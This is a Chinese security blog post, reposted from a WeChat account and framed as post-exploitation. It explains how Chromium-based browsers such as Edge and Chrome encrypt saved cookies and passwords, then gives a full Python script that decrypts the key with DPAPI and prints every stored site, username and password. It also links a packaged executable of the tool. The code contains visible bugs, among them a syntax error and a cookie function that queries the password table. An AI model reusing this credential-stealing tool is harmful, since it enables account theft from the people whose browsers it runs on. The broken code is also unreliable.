Chromium内核浏览器Cookie及密码提取

admin 2023年5月18日11:11:59评论38 views字数 8549阅读28分29秒阅读模式

 看我如何从你的浏览器提取你所有的账号密码信息。

后渗透过程中,切入点及思路非常繁多,浏览器是信息交流的主要途径,也是解除用户隐私最多的应用程序。搞定用户的浏览器,也就基本等于接管了目标的大部分权限。

01

Webkit内核与Chromium开源项目

WebKit 是一个开源的浏览器引擎,目前绝大多数的国内外主流浏览器使用或附带了Webkit内核,包括QQ浏览器、360浏览器等。

Chromium是一个基于Webkit内核的开源浏览器项目,2020年微软也放弃自家浏览器内核,基于Chromium推出了新版Edge浏览器。

Chromium内核浏览器Cookie及密码提取

本文将以新版Edge浏览器为例,讲解浏览器相关信息提取的内容。

02

基于Chromium浏览器的用户文件

关于Chromium浏览器对用户数据存储的默认位置等信息,可以在Google官方给出的文档中找出(参考文档地址:https://chromium.googlesource.com/chromium/src/+/refs/heads/main/docs/user_data_dir.md)

Windows The default location is in the local app data folder:

[Chrome] %LOCALAPPDATA%GoogleChromeUser Data[Chrome Beta] %LOCALAPPDATA%GoogleChrome BetaUser Data[Chrome Canary] %LOCALAPPDATA%GoogleChrome SxSUser Data[Chromium] %LOCALAPPDATA%ChromiumUser Data

新Edge的路径为

%LOCALAPPDATA%MicrosoftEdgeUser Data

User Data目录下需要关注的文件及目录主要有两个:

  • Local State : 保存了配置数据,其中包含了encrypted_value的值;

  • Default/ : 有Cookie、Login Date、Bookmarks、History等文件

其中Cookie本质为SQLite3的数据库文件,保存了浏览器的Cookie信息的加密值、Login Data也是SQLite3数据库文件存了登陆时记住密码的用户名密码信息的加密值、Bookmarks为书签信息、History为历史记录信息。

03

SQLite数据库中密文解密

 

Cookie数据保存在%LOCALAPPDATA%MicrosoftEdgeUser DataDefultCookie文件中,本质为SQLite数据库文件,使用Navicat打开

Chromium内核浏览器Cookie及密码提取

字段encrypted_value就是加密后的Cookie值

Login Data文件同理:

 

Chromium内核浏览器Cookie及密码提取

 

encrypted_value为对称加密后的值,操作系统不通,key的存放位置也是不同的

Windows,当前用户的ProtectedData中;Linux,固定的密钥或钥匙链;Mac,钥匙链;

其中具体的两种针对Windows的加密方式可以从Chromium源码中找出:

//本段代码引用自https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_unittest.cc?q=CryptProtectData&ss=chromium//其他OS的加密方式可以从以下查看,此处不赘述: https://chromium.googlesource.com/chromium/src/+/53.0.2785.100/components/os_crypt
//-------------------------------------------------------------------------------------------// This test verifies that the header of the data returned from CryptProtectData// never collides with the kEncryptionVersionPrefix ("v10") used in// os_crypt_win.cc. If this ever happened, we would not be able to distinguish// between data encrypted using the legacy DPAPI interface, and data that's been// encrypted with the new session key
TEST_F(OSCryptTestWin, ReadOldData) {  OSCryptMocker::SetLegacyEncryption(true);  //DPAPI加密
  std::string plaintext = "secrets";  std::string legacy_ciphertext;  ASSERT_TRUE(OSCrypt::EncryptString(plaintext, &legacy_ciphertext));
  OSCryptMocker::SetLegacyEncryption(false);  //AES-256-GCM加密  TestingPrefServiceSimple pref_service_simple;  OSCrypt::RegisterLocalPrefs(pref_service_simple.registry());  ASSERT_TRUE(OSCrypt::Init(&pref_service_simple));
  std::string decrypted;  // Should be able to decrypt data encrypted with DPAPI.  ASSERT_TRUE(OSCrypt::DecryptString(legacy_ciphertext, &decrypted));  EXPECT_EQ(plaintext, decrypted);
  // Should now encrypt same plaintext to get different ciphertext.  std::string new_ciphertext;  ASSERT_TRUE(OSCrypt::EncryptString(plaintext, &new_ciphertext));
  // Should be different from DPAPI ciphertext.  EXPECT_NE(legacy_ciphertext, new_ciphertext);
  // Decrypt new ciphertext to give original string.  ASSERT_TRUE(OSCrypt::DecryptString(new_ciphertext, &decrypted));  EXPECT_EQ(plaintext, decrypted);}

结合encrypted_value的值分析,当encrypted_value以v10开头时,便是使用了AES-256-GCM方式加密,若无前缀,则使用了DPAPI加密。

DPAPI解密比较简单,Python代码如下:

import win32cryptkey = base64.b64decode(local_state["os_crypt"]["encrypted_key"])win32crypt.CryptUnprotectData(key, None, None, None, 0)

则获取密钥后对内容进行解密即可,完全代码如下:

import os
import sys
import json
import base64
import sqlite3
import win32crypt
from Crypto.Cipher import AES
import shutil
from datetime import  datetime, timedelta

def get_chrome_datetime(chromedate):
    """从chrome格式的datetime返回一个`datetime.datetime`对象
        因为'chromedate'的格式是1601年1月以来的微秒数"""
    return datetime(1601, 1, 1) + timedelta(microseconds=chromedate)

def get_encryption_key():
    if browser == 'edge':
        local_state_path = os.path.join(os.environ['USERPROFILE'],r'AppData\Local\Microsoft\Edge\User Data\Local State')
    elif browser == 'chrome':
        local_state_path = os.path.join(os.environ['USERPROFILE'],r'AppData\Local\Google\Chrome\User Data\Local State')
    with open(local_state_path, "r", encoding="utf-8") as f:
        local_state = f.read()
        local_state = json.loads(local_state)
    # 从Base64解码加密密钥
    key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
    # 删除开头的'DPAPI'字样
    key = key[5:]
    # 返回最初加密的解密密钥
    # 使用从当前用户的登录凭据派生的会话密钥
    return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]


def decrypt_password(password, key):
    try:
        # 去除开头的v10字样,只取iv向量关键字符
        iv = password[3:15]
        password = password[15:]
        # 生成密码
        cipher = AES.new(key, AES.MODE_GCM, iv)
        # 解密密码
        return cipher.decrypt(password)[:-16].decode()
    except:
        try:
            return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1])
        except:
            print("Not Supported")
            return ""


def GetPasswords():
    key = get_encryption_key()
    if browser == 'edge':
        db_path = os.path.join(os.environ['USERPROFILE'],r"AppData\Local\Microsoft\Edge\User Data\default\Login Data")
    elif browser == 'chrome':
        db_path = os.path.join(os.environ['USERPROFILE'],r"AppData\Local\Google\Chrome\User Data\default\Login Data")
    #添加浏览器在这里定义路径
    #elif browser == '自定义参数':
    #    db_path = os.path.join(os.environ['USERPROFILE'],r"AppData\Local\Google\Chrome\User Data\default\Login Data")
    filename = "PasswordData.db"
    shutil.copyfile(db_path, filename)
    db = sqlite3.connect(filename)
    cursor = db.cursor()
    cursor.execute("select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins order by date_created")
    # iterate over all rows
    for row in cursor.fetchall():
        origin_url = row[0]
        action_url = row[1]
        username = row[2]
        password = decrypt_password(row[3], key)
        date_created = row[4]
        date_last_used = row[5]
        if username or password:
            print(f"Origin URL: {origin_url}")
            print(f"Action URL: {action_url}")
            print(f"Username: {username}")
            print(f"Password: {password}")
        else:
            continue
        if date_created != 86400000000 and date_created:
            print(f"Creation date: {str(get_chrome_datetime(date_created))}")
        if date_last_used != 86400000000 and date_last_used:
            print(f"Last Used: {str(get_chrome_datetime(date_last_used))}")
        print("="*50)

    cursor.close()
    db.close()
    try:
        # try to remove the copied db file
        os.remove(filename)
    except:
        pass

def GetCookies():
    key = get_encryption_key()
    if browser == 'edge':
        db_path = os.path.join(os.environ['USERPROFILE'],r"AppData\Local\Microsoft\Edge\User Data\default\Login Data")
    elif browser == 'chrome':
        db_path = os.path.join(os.environ['USERPROFILE'],r"AppData\Local\Google\Chrome\User Data\default\Cookies")
    #添加浏览器在这里定义路径
    #elif browser == '自定义参数':
    #    db_path = os.path.join(os.environ['USERPROFILE'],r"AppData\Local\Google\Chrome\User Data\default\Login Data")
    filename = "PasswordData.db"
    shutil.copyfile(db_path, filename)
    # 连接数据库
    db = sqlite3.connect(filename)
    cursor = db.cursor()
    # 数据库中的字段
    cursor.execute("select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins order by date_created")
    # iterate over all rows
    for row in cursor.fetchall():
        origin_url = row[0]
        action_url = row[1]
        username = row[2]
        password = decrypt_password(row[3], key)
        date_created = row[4]
        date_last_used = row[5]
        if username or password:
            print(f"Origin URL: {origin_url}")
            print(f"Action URL: {action_url}")
            print(f"Username: {username}")
            print(f"Password: {password}")
        else:
            continue
        if date_created != 86400000000 and date_created:
            print(f"Creation date: {str(get_chrome_datetime(date_created))}")
        if date_last_used != 86400000000 and date_last_used:
            print(f"Last Used: {str(get_chrome_datetime(date_last_used))}")
        print("="*50)

    cursor.close()
    db.close()
    try:
        # try to remove the copied db file
        os.remove(filename)
    except:
        pass


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("===Usage===\n" + sys.argv[0] + " chrome"
        print("Or")
        print(sys.argv[0] + " other AppData\\Local\\Google\\Chrome\\User Data\\Local State AppData\\Local\\Google\\Chrome\\User Data\\default\\Login Data")
        print("\n===Support list===")
        print("chrome --- chrome browser [ >80.x ]")
        print("edge --- edge browser")
        #print("sogou --- sogou browser")
        #print("360 --- 360 safe browser")
        #print("360cse --- 360 cse browser")
        #print("2345 --- 2345 browser")
        #print("qq --- QQ browser")
        #print("firefox --- firefox browser [need prefix]")
        #print("other --- other browser [base on chromium>80.0]\n\n")
        sys.exit()
    if sys.argv[1] not in ['chrome','edge','sogou','360','360cse','2345','qq','firefox','other']:
        sys.exit('Undefined Browser')
    if len(sys.argv) == 4:
        if sys.argv[0] == 'other':
            print('You Choose the Other Browser ,please set the [Local State] file path and [Login Data] file')
        else:
            sys.exit('Input Error! Other Usage:' + sys.argv[0] + " other AppData\\Local\\Google\\Chrome\\User Data\\Local State AppData\\Local\\Google\\Chrome\\User Data\\default\\Login Data")
    browser = sys.argv[1]
    GetPasswords()

 

将代码写入py文件即可使用,使用方法

python3 getpassword.py [edge/chrome]// 其他浏览器可以自行适配

若无Python环境,可使用打包后版本,下载地址如下:

https://laisc.lanzoui.com/iKLeVtnutsj// 或长按下方二维码选择在浏览器打开

Chromium内核浏览器Cookie及密码提取

 

 

参考资料:

  1. 进城务工人员小梅 . Chrome浏览器Cookie及密码解密的分析过程及Java实现Windows平台下v10及以上Cookie文件encrypted_value及Login Data文件password_value的解密[EB/OL]. 2020-02[2021-8-25]. http://www.meilongkui.com/archives/1904.

  2. HACK学习. Chrome 80.X版本如何解密Cookies文件[EB/OL]. 2020[2021-8-25]. http://t.hk.uy/PVE

  3. 参考代码:https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_win.cc?q=OSCrypt&ss=chromium

原文始发于微信公众号(黑客茶话会):Chromium内核浏览器Cookie及密码提取

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月18日11:11:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Chromium内核浏览器Cookie及密码提取https://cn-sec.com/archives/1740857.html

发表评论

匿名网友 填写信息